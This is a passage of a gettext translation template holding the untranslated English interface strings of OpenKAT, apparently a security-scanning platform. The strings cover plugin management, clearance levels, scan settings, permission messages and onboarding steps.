rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid 